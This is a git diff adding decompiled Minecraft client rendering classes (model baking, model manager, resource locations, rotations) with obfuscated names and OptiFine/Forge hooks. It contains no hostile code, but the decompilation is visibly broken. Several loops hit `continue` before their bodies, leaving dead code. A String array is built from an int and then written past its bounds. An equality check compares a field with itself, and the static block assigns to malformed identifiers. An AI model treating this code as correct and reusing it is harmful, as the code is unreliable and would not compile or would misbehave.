+    variantNames.put(Item.getItemFromBlock(Blocks.leaves), Lists.newArrayList(new String[] { "oak_leaves", "spruce_leaves", "birch_leaves", "jungle_leaves" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.sponge), Lists.newArrayList(new String[] { "sponge", "sponge_wet" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.sandstone), Lists.newArrayList(new String[] { "sandstone", "chiseled_sandstone", "smooth_sandstone" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.red_sandstone), Lists.newArrayList(new String[] { "red_sandstone", "chiseled_red_sandstone", "smooth_red_sandstone" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.tallgrass), Lists.newArrayList(new String[] { "dead_bush", "tall_grass", "fern" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.deadbush), Lists.newArrayList(new String[] { "dead_bush" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.wool), Lists.newArrayList(new String[] { "black_wool", "red_wool", "green_wool", "brown_wool", "blue_wool", "purple_wool", "cyan_wool", "silver_wool", "gray_wool", "pink_wool", "lime_wool", "yellow_wool", "light_blue_wool", "magenta_wool", "orange_wool", "white_wool" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.yellow_flower), Lists.newArrayList(new String[] { "dandelion" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.red_flower), Lists.newArrayList(new String[] { "poppy", "blue_orchid", "allium", "houstonia", "red_tulip", "orange_tulip", "white_tulip", "pink_tulip", "oxeye_daisy" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.stone_slab), Lists.newArrayList(new String[] { "stone_slab", "sandstone_slab", "cobblestone_slab", "brick_slab", "stone_brick_slab", "nether_brick_slab", "quartz_slab" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.stone_slab2), Lists.newArrayList(new String[] { "red_sandstone_slab" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.stained_glass), Lists.newArrayList(new String[] { "black_stained_glass", "red_stained_glass", "green_stained_glass", "brown_stained_glass", "blue_stained_glass", "purple_stained_glass", "cyan_stained_glass", "silver_stained_glass", "gray_stained_glass", "pink_stained_glass", "lime_stained_glass", "yellow_stained_glass", "light_blue_stained_glass", "magenta_stained_glass", "orange_stained_glass", "white_stained_glass" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.monster_egg), Lists.newArrayList(new String[] { "stone_monster_egg", "cobblestone_monster_egg", "stone_brick_monster_egg", "mossy_brick_monster_egg", "cracked_brick_monster_egg", "chiseled_brick_monster_egg" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.stonebrick), Lists.newArrayList(new String[] { "stonebrick", "mossy_stonebrick", "cracked_stonebrick", "chiseled_stonebrick" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.wooden_slab), Lists.newArrayList(new String[] { "oak_slab", "spruce_slab", "birch_slab", "jungle_slab", "acacia_slab", "dark_oak_slab" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.cobblestone_wall), Lists.newArrayList(new String[] { "cobblestone_wall", "mossy_cobblestone_wall" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.anvil), Lists.newArrayList(new String[] { "anvil_intact", "anvil_slightly_damaged", "anvil_very_damaged" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.quartz_block), Lists.newArrayList(new String[] { "quartz_block", "chiseled_quartz_block", "quartz_column" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.stained_hardened_clay), Lists.newArrayList(new String[] { "black_stained_hardened_clay", "red_stained_hardened_clay", "green_stained_hardened_clay", "brown_stained_hardened_clay", "blue_stained_hardened_clay", "purple_stained_hardened_clay", "cyan_stained_hardened_clay", "silver_stained_hardened_clay", "gray_stained_hardened_clay", "pink_stained_hardened_clay", "lime_stained_hardened_clay", "yellow_stained_hardened_clay", "light_blue_stained_hardened_clay", "magenta_stained_hardened_clay", "orange_stained_hardened_clay", "white_stained_hardened_clay" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.stained_glass_pane), Lists.newArrayList(new String[] { "black_stained_glass_pane", "red_stained_glass_pane", "green_stained_glass_pane", "brown_stained_glass_pane", "blue_stained_glass_pane", "purple_stained_glass_pane", "cyan_stained_glass_pane", "silver_stained_glass_pane", "gray_stained_glass_pane", "pink_stained_glass_pane", "lime_stained_glass_pane", "yellow_stained_glass_pane", "light_blue_stained_glass_pane", "magenta_stained_glass_pane", "orange_stained_glass_pane", "white_stained_glass_pane" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.leaves2), Lists.newArrayList(new String[] { "acacia_leaves", "dark_oak_leaves" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.log2), Lists.newArrayList(new String[] { "acacia_log", "dark_oak_log" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.prismarine), Lists.newArrayList(new String[] { "prismarine", "prismarine_bricks", "dark_prismarine" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.carpet), Lists.newArrayList(new String[] { "black_carpet", "red_carpet", "green_carpet", "brown_carpet", "blue_carpet", "purple_carpet", "cyan_carpet", "silver_carpet", "gray_carpet", "pink_carpet", "lime_carpet", "yellow_carpet", "light_blue_carpet", "magenta_carpet", "orange_carpet", "white_carpet" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.double_plant), Lists.newArrayList(new String[] { "sunflower", "syringa", "double_grass", "double_fern", "double_rose", "paeonia" }));
+    variantNames.put(Items.bow, Lists.newArrayList(new String[] { "bow", "bow_pulling_0", "bow_pulling_1", "bow_pulling_2" }));
+    variantNames.put(Items.coal, Lists.newArrayList(new String[] { "coal", "charcoal" }));
+    variantNames.put(Items.fishing_rod, Lists.newArrayList(new String[] { "fishing_rod", "fishing_rod_cast" }));
+    variantNames.put(Items.fish, Lists.newArrayList(new String[] { "cod", "salmon", "clownfish", "pufferfish" }));
+    variantNames.put(Items.cooked_fish, Lists.newArrayList(new String[] { "cooked_cod", "cooked_salmon" }));
+    variantNames.put(Items.dye, Lists.newArrayList(new String[] { "dye_black", "dye_red", "dye_green", "dye_brown", "dye_blue", "dye_purple", "dye_cyan", "dye_silver", "dye_gray", "dye_pink", "dye_lime", "dye_yellow", "dye_light_blue", "dye_magenta", "dye_orange", "dye_white" }));
+    variantNames.put(Items.potionitem, Lists.newArrayList(new String[] { "bottle_drinkable", "bottle_splash" }));
+    variantNames.put(Items.skull, Lists.newArrayList(new String[] { "skull_skeleton", "skull_wither", "skull_zombie", "skull_char", "skull_creeper" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.oak_fence_gate), Lists.newArrayList(new String[] { "oak_fence_gate" }));
+    variantNames.put(Item.getItemFromBlock(Blocks.oak_fence), Lists.newArrayList(new String[] { "oak_fence" }));
+    variantNames.put(Items.oak_door, Lists.newArrayList(new String[] { "oak_door" }));
+  }
+  
+  private List getVariantNames(Item p_177596_1_)
+  {
+    List var2 = (List)variantNames.get(p_177596_1_);
+    
+    if (var2 == null)
+    {
+      var2 = Collections.singletonList(((ResourceLocation)Item.itemRegistry.getNameForObject(p_177596_1_)).toString());
+    }
+    
+    return var2;
+  }
+  
+  private ResourceLocation getItemLocation(String p_177583_1_)
+  {
+    ResourceLocation var2 = new ResourceLocation(p_177583_1_);
+    return new ResourceLocation(var2.getResourceDomain(), "item/" + var2.getResourcePath());
+  }
+  
+  private void bakeBlockModels()
+  {
+    Iterator var1 = variants.keySet().iterator();
+    
+    while (var1.hasNext())
+    {
+      ModelResourceLocation var2 = (ModelResourceLocation)var1.next();
+      WeightedBakedModel.Builder var3 = new WeightedBakedModel.Builder();
+      int var4 = 0;
+      Iterator var5 = ((ModelBlockDefinition.Variants)variants.get(var2)).getVariants().iterator();
+      
+      while (var5.hasNext())
+      {
+        ModelBlockDefinition.Variant var6 = (ModelBlockDefinition.Variant)var5.next();
+        ModelBlock var7 = (ModelBlock)models.get(var6.getModelLocation());
+        
+        if ((var7 != null) && (var7.isResolved()))
+        {
+          var4++;
+          var3.add(bakeModel(var7, var6.getRotation(), var6.isUvLocked()), var6.getWeight());
+        }
+        else
+        {
+          LOGGER.warn("Missing model for: " + var2);
+        }
+      }
+      
+      if (var4 == 0)
+      {
+        LOGGER.warn("No weighted models for: " + var2);
+      }
+      else if (var4 == 1)
+      {
+        bakedRegistry.putObject(var2, var3.first());
+      }
+      else
+      {
+        bakedRegistry.putObject(var2, var3.build());
+      }
+    }
+    
+    var1 = itemLocations.entrySet().iterator();
+    
+    while (var1.hasNext())
+    {
+      Map.Entry var8 = (Map.Entry)var1.next();
+      ResourceLocation var9 = (ResourceLocation)var8.getValue();
+      ModelResourceLocation var10 = new ModelResourceLocation((String)var8.getKey(), "inventory");
+      ModelBlock var11 = (ModelBlock)models.get(var9);
+      
+      if ((var11 != null) && (var11.isResolved()))
+      {
+        if (isCustomRenderer(var11))
+        {
+          bakedRegistry.putObject(var10, new BuiltInModel(new net.minecraft.client.renderer.block.model.ItemCameraTransforms(var11.getThirdPersonTransform(), var11.getFirstPersonTransform(), var11.getHeadTransform(), var11.getInGuiTransform())));
+        }
+        else
+        {
+          bakedRegistry.putObject(var10, bakeModel(var11, ModelRotation.X0_Y0, false));
+        }
+        
+      }
+      else {
+        LOGGER.warn("Missing model for: " + var9);
+      }
+    }
+  }
+  
+  private Set func_177575_g()
+  {
+    HashSet var1 = Sets.newHashSet();
+    ArrayList var2 = Lists.newArrayList(variants.keySet());
+    Collections.sort(var2, new Comparator()
+    {
+      private static final String __OBFID = "CL_00002390";
+      
+      public int func_177505_a(ModelResourceLocation p_177505_1_, ModelResourceLocation p_177505_2_) {
+        return p_177505_1_.toString().compareTo(p_177505_2_.toString());
+      }
+      
+      public int compare(Object p_compare_1_, Object p_compare_2_) {
+        return func_177505_a((ModelResourceLocation)p_compare_1_, (ModelResourceLocation)p_compare_2_);
+      }
+    });
+    Iterator var3 = var2.iterator();
+    Iterator var6;
+    for (; var3.hasNext(); 
+        
+
+
+
+
+        var6.hasNext())
+    {
+      ModelResourceLocation var4 = (ModelResourceLocation)var3.next();
+      ModelBlockDefinition.Variants var5 = (ModelBlockDefinition.Variants)variants.get(var4);
+      var6 = var5.getVariants().iterator();
+      
+      continue;
+      
+      ModelBlockDefinition.Variant var7 = (ModelBlockDefinition.Variant)var6.next();
+      ModelBlock var8 = (ModelBlock)models.get(var7.getModelLocation());
+      
+      if (var8 == null)
+      {
+        LOGGER.warn("Missing model for: " + var4);
+      }
+      else
+      {
+        var1.addAll(func_177585_a(var8));
+      }
+    }
+    
+
+    var1.addAll(field_177602_b);
+    return var1;
+  }
+  
+  private IBakedModel bakeModel(ModelBlock p_177578_1_, ModelRotation p_177578_2_, boolean p_177578_3_)
+  {
+    TextureAtlasSprite var4 = (TextureAtlasSprite)field_177599_g.get(new ResourceLocation(p_177578_1_.resolveTextureName("particle")));
+    SimpleBakedModel.Builder var5 = new SimpleBakedModel.Builder(p_177578_1_).func_177646_a(var4);
+    Iterator var6 = p_177578_1_.getElements().iterator();
+    Iterator var8;
+    for (; var6.hasNext(); 
+        
+
+
+
+        var8.hasNext())
+    {
+      BlockPart var7 = (BlockPart)var6.next();
+      var8 = field_178240_c.keySet().iterator();
+      
+      continue;
+      
+      EnumFacing var9 = (EnumFacing)var8.next();
+      BlockPartFace var10 = (BlockPartFace)field_178240_c.get(var9);
+      TextureAtlasSprite var11 = (TextureAtlasSprite)field_177599_g.get(new ResourceLocation(p_177578_1_.resolveTextureName(field_178242_d)));
+      
+      if (field_178244_b == null)
+      {
+        var5.func_177648_a(func_177589_a(var7, var10, var11, var9, p_177578_2_, p_177578_3_));
+      }
+      else
+      {
+        var5.func_177650_a(p_177578_2_.func_177523_a(field_178244_b), func_177589_a(var7, var10, var11, var9, p_177578_2_, p_177578_3_));
+      }
+    }
+    
+
+    return var5.func_177645_b();
+  }
+  
+  private BakedQuad func_177589_a(BlockPart p_177589_1_, BlockPartFace p_177589_2_, TextureAtlasSprite p_177589_3_, EnumFacing p_177589_4_, ModelRotation p_177589_5_, boolean p_177589_6_)
+  {
+    return field_177607_l.func_178414_a(field_178241_a, field_178239_b, p_177589_2_, p_177589_3_, p_177589_4_, p_177589_5_, field_178237_d, p_177589_6_, field_178238_e);
+  }
+  
+  private void func_177597_h()
+  {
+    func_177574_i();
+    Iterator var1 = models.values().iterator();
+    
+    while (var1.hasNext())
+    {
+      ModelBlock var2 = (ModelBlock)var1.next();
+      var2.getParentFromMap(models);
+    }
+    
+    ModelBlock.func_178312_b(models);
+  }
+  
+  private void func_177574_i()
+  {
+    ArrayDeque var1 = com.google.common.collect.Queues.newArrayDeque();
+    HashSet var2 = Sets.newHashSet();
+    Iterator var3 = models.keySet().iterator();
+    
+
+    while (var3.hasNext())
+    {
+      ResourceLocation var4 = (ResourceLocation)var3.next();
+      var2.add(var4);
+      ResourceLocation var5 = ((ModelBlock)models.get(var4)).getParentLocation();
+      
+      if (var5 != null)
+      {
+        var1.add(var5);
+      }
+    }
+    
+    while (!var1.isEmpty())
+    {
+      ResourceLocation var7 = (ResourceLocation)var1.pop();
+      
+      try
+      {
+        if (models.get(var7) != null) {
+          continue;
+        }
+        
+
+        ModelBlock var8 = loadModel(var7);
+        models.put(var7, var8);
+        ResourceLocation var5 = var8.getParentLocation();
+        
+        if ((var5 != null) && (!var2.contains(var5)))
+        {
+          var1.add(var5);
+        }
+      }
+      catch (Exception var6)
+      {
+        LOGGER.warn("In parent chain: " + field_177601_e.join(func_177573_e(var7)) + "; unable to load model: '" + var7 + "'", var6);
+      }
+      
+      var2.add(var7);
+    }
+  }
+  
+  private List func_177573_e(ResourceLocation p_177573_1_)
+  {
+    ArrayList var2 = Lists.newArrayList(new ResourceLocation[] { p_177573_1_ });
+    ResourceLocation var3 = p_177573_1_;
+    
+    while ((var3 = func_177576_f(var3)) != null)
+    {
+      var2.add(0, var3);
+    }
+    
+    return var2;
+  }
+  
+  private ResourceLocation func_177576_f(ResourceLocation p_177576_1_)
+  {
+    Iterator var2 = models.entrySet().iterator();
+    
+    Map.Entry var3;
+    ModelBlock var4;
+    do
+    {
+      if (!var2.hasNext())
+      {
+        return null;
+      }
+      
+      var3 = (Map.Entry)var2.next();
+      var4 = (ModelBlock)var3.getValue();
+    }
+    while ((var4 == null) || (!p_177576_1_.equals(var4.getParentLocation())));
+    
+    return (ResourceLocation)var3.getKey();
+  }
+  
+  private Set func_177585_a(ModelBlock p_177585_1_)
+  {
+    HashSet var2 = Sets.newHashSet();
+    Iterator var3 = p_177585_1_.getElements().iterator();
+    Iterator var5;
+    for (; var3.hasNext(); 
+        
+
+
+
+        var5.hasNext())
+    {
+      BlockPart var4 = (BlockPart)var3.next();
+      var5 = field_178240_c.values().iterator();
+      
+      continue;
+      
+      BlockPartFace var6 = (BlockPartFace)var5.next();
+      ResourceLocation var7 = new ResourceLocation(p_177585_1_.resolveTextureName(field_178242_d));
+      var2.add(var7);
+    }
+    
+
+    var2.add(new ResourceLocation(p_177585_1_.resolveTextureName("particle")));
+    return var2;
+  }
+  
+  private void func_177572_j()
+  {
+    final Set var1 = func_177575_g();
+    var1.addAll(func_177571_k());
+    var1.remove(TextureMap.field_174945_f);
+    IIconCreator var2 = new IIconCreator()
+    {
+      private static final String __OBFID = "CL_00002389";
+      
+      public void func_177059_a(TextureMap p_177059_1_) {
+        Iterator var2 = var1.iterator();
+        
+        while (var2.hasNext())
+        {
+          ResourceLocation var3 = (ResourceLocation)var2.next();
+          TextureAtlasSprite var4 = p_177059_1_.func_174942_a(var3);
+          field_177599_g.put(var3, var4);
+        }
+      }
+    };
+    textureMap.func_174943_a(resourceManager, var2);
+    field_177599_g.put(new ResourceLocation("missingno"), textureMap.func_174944_f());
+  }
+  
+  private Set func_177571_k()
+  {
+    HashSet var1 = Sets.newHashSet();
+    Iterator var2 = itemLocations.values().iterator();
+    
+    while (var2.hasNext())
+    {
+      ResourceLocation var3 = (ResourceLocation)var2.next();
+      ModelBlock var4 = (ModelBlock)models.get(var3);
+      
+      if (var4 != null)
+      {
+        var1.add(new ResourceLocation(var4.resolveTextureName("particle")));
+        
+
+
+        if (func_177581_b(var4)) {
+          ResourceLocation var11;
+          for (Iterator var5 = ItemModelGenerator.LAYERS.iterator(); var5.hasNext(); var1.add(var11))
+          {
+            String var10 = (String)var5.next();
+            var11 = new ResourceLocation(var4.resolveTextureName(var10));
+            
+            if ((var4.getRootModel() == MODEL_COMPASS) && (!TextureMap.field_174945_f.equals(var11)))
+            {
+              TextureAtlasSprite.func_176603_b(var11.toString());
+            }
+            else if ((var4.getRootModel() == MODEL_CLOCK) && (!TextureMap.field_174945_f.equals(var11)))
+            {
+              TextureAtlasSprite.func_176602_a(var11.toString());
+            }
+          }
+        }
+        else if (!isCustomRenderer(var4))
+        {
+          Iterator var5 = var4.getElements().iterator();
+          Iterator var7;
+          for (; var5.hasNext(); 
+              
+
+
+
+              var7.hasNext())
+          {
+            BlockPart var6 = (BlockPart)var5.next();
+            var7 = field_178240_c.values().iterator();
+            
+            continue;
+            
+            BlockPartFace var8 = (BlockPartFace)var7.next();
+            ResourceLocation var9 = new ResourceLocation(var4.resolveTextureName(field_178242_d));
+            var1.add(var9);
+          }
+        }
+      }
+    }
+    
+
+    return var1;
+  }
+  
+  private boolean func_177581_b(ModelBlock p_177581_1_)
+  {
+    if (p_177581_1_ == null)
+    {
+      return false;
+    }
+    
+
+    ModelBlock var2 = p_177581_1_.getRootModel();
+    return (var2 == MODEL_GENERATED) || (var2 == MODEL_COMPASS) || (var2 == MODEL_CLOCK);
+  }
+  
+
+  private boolean isCustomRenderer(ModelBlock p_177587_1_)
+  {
+    if (p_177587_1_ == null)
+    {
+      return false;
+    }
+    
+
+    ModelBlock var2 = p_177587_1_.getRootModel();
+    return var2 == MODEL_ENTITY;
+  }
+  
+
+  private void bakeItemModels()
+  {
+    Iterator var1 = itemLocations.values().iterator();
+    
+    while (var1.hasNext())
+    {
+      ResourceLocation var2 = (ResourceLocation)var1.next();
+      ModelBlock var3 = (ModelBlock)models.get(var2);
+      
+      if (func_177581_b(var3))
+      {
+        ModelBlock var4 = func_177582_d(var3);
+        
+        if (var4 != null)
+        {
+          field_178317_b = var2.toString();
+        }
+        
+        models.put(var2, var4);
+      }
+      else if (isCustomRenderer(var3))
+      {
+        models.put(var2, var3);
+      }
+    }
+    
+    var1 = field_177599_g.values().iterator();
+    
+    while (var1.hasNext())
+    {
+      TextureAtlasSprite var5 = (TextureAtlasSprite)var1.next();
+      
+      if (!var5.hasAnimationMetadata())
+      {
+        var5.clearFramesTextureData();
+      }
+    }
+  }
+  
+  private ModelBlock func_177582_d(ModelBlock p_177582_1_)
+  {
+    return itemModelGenerator.func_178392_a(textureMap, p_177582_1_);
+  }
+  
+  static
+  {
+    BUILT_IN_MODELS.put("missing", "{ \"textures\": {   \"particle\": \"missingno\",   \"missingno\": \"missingno\"}, \"elements\": [ {     \"from\": [ 0, 0, 0 ],     \"to\": [ 16, 16, 16 ],     \"faces\": {         \"down\":  { \"uv\": [ 0, 0, 16, 16 ], \"cullface\": \"down\", \"texture\": \"#missingno\" },         \"up\":    { \"uv\": [ 0, 0, 16, 16 ], \"cullface\": \"up\", \"texture\": \"#missingno\" },         \"north\": { \"uv\": [ 0, 0, 16, 16 ], \"cullface\": \"north\", \"texture\": \"#missingno\" },         \"south\": { \"uv\": [ 0, 0, 16, 16 ], \"cullface\": \"south\", \"texture\": \"#missingno\" },         \"west\":  { \"uv\": [ 0, 0, 16, 16 ], \"cullface\": \"west\", \"texture\": \"#missingno\" },         \"east\":  { \"uv\": [ 0, 0, 16, 16 ], \"cullface\": \"east\", \"texture\": \"#missingno\" }    }}]}");
+    field_177601_e = Joiner.on(" -> ");
+    MODEL_GENERATED = ModelBlock.deserialize("{\"elements\":[{  \"from\": [0, 0, 0],   \"to\": [16, 16, 16],   \"faces\": {       \"down\": {\"uv\": [0, 0, 16, 16], \"texture\":\"\"}   }}]}");
+    MODEL_COMPASS = ModelBlock.deserialize("{\"elements\":[{  \"from\": [0, 0, 0],   \"to\": [16, 16, 16],   \"faces\": {       \"down\": {\"uv\": [0, 0, 16, 16], \"texture\":\"\"}   }}]}");
+    MODEL_CLOCK = ModelBlock.deserialize("{\"elements\":[{  \"from\": [0, 0, 0],   \"to\": [16, 16, 16],   \"faces\": {       \"down\": {\"uv\": [0, 0, 16, 16], \"texture\":\"\"}   }}]}");
+    MODEL_ENTITY = ModelBlock.deserialize("{\"elements\":[{  \"from\": [0, 0, 0],   \"to\": [16, 16, 16],   \"faces\": {       \"down\": {\"uv\": [0, 0, 16, 16], \"texture\":\"\"}   }}]}");
+    MODEL_GENERATEDfield_178317_b = "generation marker";
+    MODEL_COMPASSfield_178317_b = "compass generation marker";
+    MODEL_CLOCKfield_178317_b = "class generation marker";
+    MODEL_ENTITYfield_178317_b = "block entity marker";
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/model/ModelManager.java b/src/minecraft/net/minecraft/client/resources/model/ModelManager.java
new file mode 100644
index 0000000..821ad43
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/model/ModelManager.java
@@ -0,0 +1,58 @@
+package net.minecraft.client.resources.model;
+
+import net.minecraft.client.renderer.BlockModelShapes;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.resources.IResourceManagerReloadListener;
+import net.minecraft.util.IRegistry;
+
+public class ModelManager implements IResourceManagerReloadListener
+{
+  private IRegistry modelRegistry;
+  private final TextureMap field_174956_b;
+  private final BlockModelShapes field_174957_c;
+  private IBakedModel defaultModel;
+  private static final String __OBFID = "CL_00002388";
+  
+  public ModelManager(TextureMap p_i46082_1_)
+  {
+    field_174956_b = p_i46082_1_;
+    field_174957_c = new BlockModelShapes(this);
+  }
+  
+  public void onResourceManagerReload(IResourceManager p_110549_1_)
+  {
+    ModelBakery var2 = new ModelBakery(p_110549_1_, field_174956_b, field_174957_c);
+    modelRegistry = var2.setupModelRegistry();
+    defaultModel = ((IBakedModel)modelRegistry.getObject(ModelBakery.MODEL_MISSING));
+    field_174957_c.func_178124_c();
+  }
+  
+  public IBakedModel getModel(ModelResourceLocation p_174953_1_)
+  {
+    if (p_174953_1_ == null)
+    {
+      return defaultModel;
+    }
+    
+
+    IBakedModel var2 = (IBakedModel)modelRegistry.getObject(p_174953_1_);
+    return var2 == null ? defaultModel : var2;
+  }
+  
+
+  public IBakedModel getMissingModel()
+  {
+    return defaultModel;
+  }
+  
+  public TextureMap func_174952_b()
+  {
+    return field_174956_b;
+  }
+  
+  public BlockModelShapes getBlockModelShapes()
+  {
+    return field_174957_c;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/model/ModelResourceLocation.java b/src/minecraft/net/minecraft/client/resources/model/ModelResourceLocation.java
new file mode 100644
index 0000000..4e3b49f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/model/ModelResourceLocation.java
@@ -0,0 +1,83 @@
+package net.minecraft.client.resources.model;
+
+import net.minecraft.util.ResourceLocation;
+import org.apache.commons.lang3.StringUtils;
+
+public class ModelResourceLocation extends ResourceLocation
+{
+  private final String field_177519_c;
+  private static final String __OBFID = "CL_00002387";
+  
+  protected ModelResourceLocation(int p_i46078_1_, String... p_i46078_2_)
+  {
+    super(0, new String[] { p_i46078_2_[0], p_i46078_2_[1] });
+    field_177519_c = (StringUtils.isEmpty(p_i46078_2_[2]) ? "normal" : p_i46078_2_[2].toLowerCase());
+  }
+  
+  public ModelResourceLocation(String p_i46079_1_)
+  {
+    this(0, func_177517_b(p_i46079_1_));
+  }
+  
+  public ModelResourceLocation(ResourceLocation p_i46080_1_, String p_i46080_2_)
+  {
+    this(p_i46080_1_.toString(), p_i46080_2_);
+  }
+  
+  public ModelResourceLocation(String p_i46081_1_, String p_i46081_2_)
+  {
+    this(0, func_177517_b(p_i46081_1_ + '#' + (p_i46081_2_ == null ? "normal" : p_i46081_2_)));
+  }
+  
+  protected static String[] func_177517_b(String p_177517_0_)
+  {
+    String[] var1 = { 0, p_177517_0_ };
+    int var2 = p_177517_0_.indexOf('#');
+    String var3 = p_177517_0_;
+    
+    if (var2 >= 0)
+    {
+      var1[2] = p_177517_0_.substring(var2 + 1, p_177517_0_.length());
+      
+      if (var2 > 1)
+      {
+        var3 = p_177517_0_.substring(0, var2);
+      }
+    }
+    
+    System.arraycopy(ResourceLocation.func_177516_a(var3), 0, var1, 0, 2);
+    return var1;
+  }
+  
+  public String func_177518_c()
+  {
+    return field_177519_c;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if (((p_equals_1_ instanceof ModelResourceLocation)) && (super.equals(p_equals_1_)))
+    {
+      ModelResourceLocation var2 = (ModelResourceLocation)p_equals_1_;
+      return field_177519_c.equals(field_177519_c);
+    }
+    
+
+    return false;
+  }
+  
+
+  public int hashCode()
+  {
+    return 31 * super.hashCode() + field_177519_c.hashCode();
+  }
+  
+  public String toString()
+  {
+    return super.toString() + '#' + field_177519_c;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/model/ModelRotation.java b/src/minecraft/net/minecraft/client/resources/model/ModelRotation.java
new file mode 100644
index 0000000..e720ed9
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/model/ModelRotation.java
@@ -0,0 +1,255 @@
+package net.minecraft.client.resources.model;
+
+import com.google.common.collect.Maps;
+import java.util.Map;
+import javax.vecmath.AxisAngle4d;
+import javax.vecmath.Matrix4d;
+import javax.vecmath.Matrix4f;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.MathHelper;
+import net.minecraftforge.client.model.IModelPart;
+import net.minecraftforge.client.model.IModelState;
+import net.minecraftforge.client.model.TRSRTransformation;
+import optifine.Reflector;
+import optifine.ReflectorMethod;
+
+public enum ModelRotation implements IModelState, net.minecraftforge.client.model.ITransformation
+{
+  X0_Y0("X0_Y0", 0, 0, 0), 
+  X0_Y90("X0_Y90", 1, 0, 90), 
+  X0_Y180("X0_Y180", 2, 0, 180), 
+  X0_Y270("X0_Y270", 3, 0, 270), 
+  X90_Y0("X90_Y0", 4, 90, 0), 
+  X90_Y90("X90_Y90", 5, 90, 90), 
+  X90_Y180("X90_Y180", 6, 90, 180), 
+  X90_Y270("X90_Y270", 7, 90, 270), 
+  X180_Y0("X180_Y0", 8, 180, 0), 
+  X180_Y90("X180_Y90", 9, 180, 90), 
+  X180_Y180("X180_Y180", 10, 180, 180), 
+  X180_Y270("X180_Y270", 11, 180, 270), 
+  X270_Y0("X270_Y0", 12, 270, 0), 
+  X270_Y90("X270_Y90", 13, 270, 90), 
+  X270_Y180("X270_Y180", 14, 270, 180), 
+  X270_Y270("X270_Y270", 15, 270, 270);
+  
+  private static final Map field_177546_q;
+  private final int field_177545_r;
+  private final Matrix4d field_177544_s;
+  private final int field_177543_t;
+  private final int field_177542_u;
+  private static final String __OBFID = "CL_00002393";
+  private static final ModelRotation[] $VALUES;
+  
+  private static int func_177521_b(int p_177521_0_, int p_177521_1_)
+  {
+    return p_177521_0_ * 360 + p_177521_1_;
+  }
+  
+  private ModelRotation(String p_i46087_1_, int p_i46087_2_, int p_i46087_3_, int p_i46087_4_)
+  {
+    field_177545_r = func_177521_b(p_i46087_3_, p_i46087_4_);
+    field_177544_s = new Matrix4d();
+    Matrix4d var5 = new Matrix4d();
+    var5.setIdentity();
+    var5.setRotation(new AxisAngle4d(1.0D, 0.0D, 0.0D, -p_i46087_3_ * 0.017453292F));
+    field_177543_t = MathHelper.abs_int(p_i46087_3_ / 90);
+    Matrix4d var6 = new Matrix4d();
+    var6.setIdentity();
+    var6.setRotation(new AxisAngle4d(0.0D, 1.0D, 0.0D, -p_i46087_4_ * 0.017453292F));
+    field_177542_u = MathHelper.abs_int(p_i46087_4_ / 90);
+    field_177544_s.mul(var6, var5);
+  }
+  
+  public Matrix4d func_177525_a()
+  {
+    return field_177544_s;
+  }
+  
+  public EnumFacing func_177523_a(EnumFacing p_177523_1_)
+  {
+    EnumFacing var2 = p_177523_1_;
+    
+
+    for (int var3 = 0; var3 < field_177543_t; var3++)
+    {
+      var2 = var2.rotateAround(EnumFacing.Axis.X);
+    }
+    
+    if (var2.getAxis() != EnumFacing.Axis.Y)
+    {
+      for (var3 = 0; var3 < field_177542_u; var3++)
+      {
+        var2 = var2.rotateAround(EnumFacing.Axis.Y);
+      }
+    }
+    
+    return var2;
+  }
+  
+  public int func_177520_a(EnumFacing facing, int vertexIndex)
+  {
+    int var3 = vertexIndex;
+    
+    if (facing.getAxis() == EnumFacing.Axis.X)
+    {
+      var3 = (vertexIndex + field_177543_t) % 4;
+    }
+    
+    EnumFacing var4 = facing;
+    
+    for (int var5 = 0; var5 < field_177543_t; var5++)
+    {
+      var4 = var4.rotateAround(EnumFacing.Axis.X);
+    }
+    
+    if (var4.getAxis() == EnumFacing.Axis.Y)
+    {
+      var3 = (var3 + field_177542_u) % 4;
+    }
+    
+    return var3;
+  }
+  
+  public static ModelRotation func_177524_a(int p_177524_0_, int p_177524_1_)
+  {
+    return (ModelRotation)field_177546_q.get(Integer.valueOf(func_177521_b(MathHelper.func_180184_b(p_177524_0_, 360), MathHelper.func_180184_b(p_177524_1_, 360))));
+  }
+  
+  public TRSRTransformation apply(IModelPart part)
+  {
+    return new TRSRTransformation(getMatrix());
+  }
+  
+  public Matrix4f getMatrix()
+  {
+    return Reflector.ForgeHooksClient_getMatrix.exists() ? (Matrix4f)Reflector.call(Reflector.ForgeHooksClient_getMatrix, new Object[] { this }) : new Matrix4f(func_177525_a());
+  }
+  
+  public EnumFacing rotate(EnumFacing facing)
+  {
+    return func_177523_a(facing);
+  }
+  
+  public int rotate(EnumFacing facing, int vertexIndex)
+  {
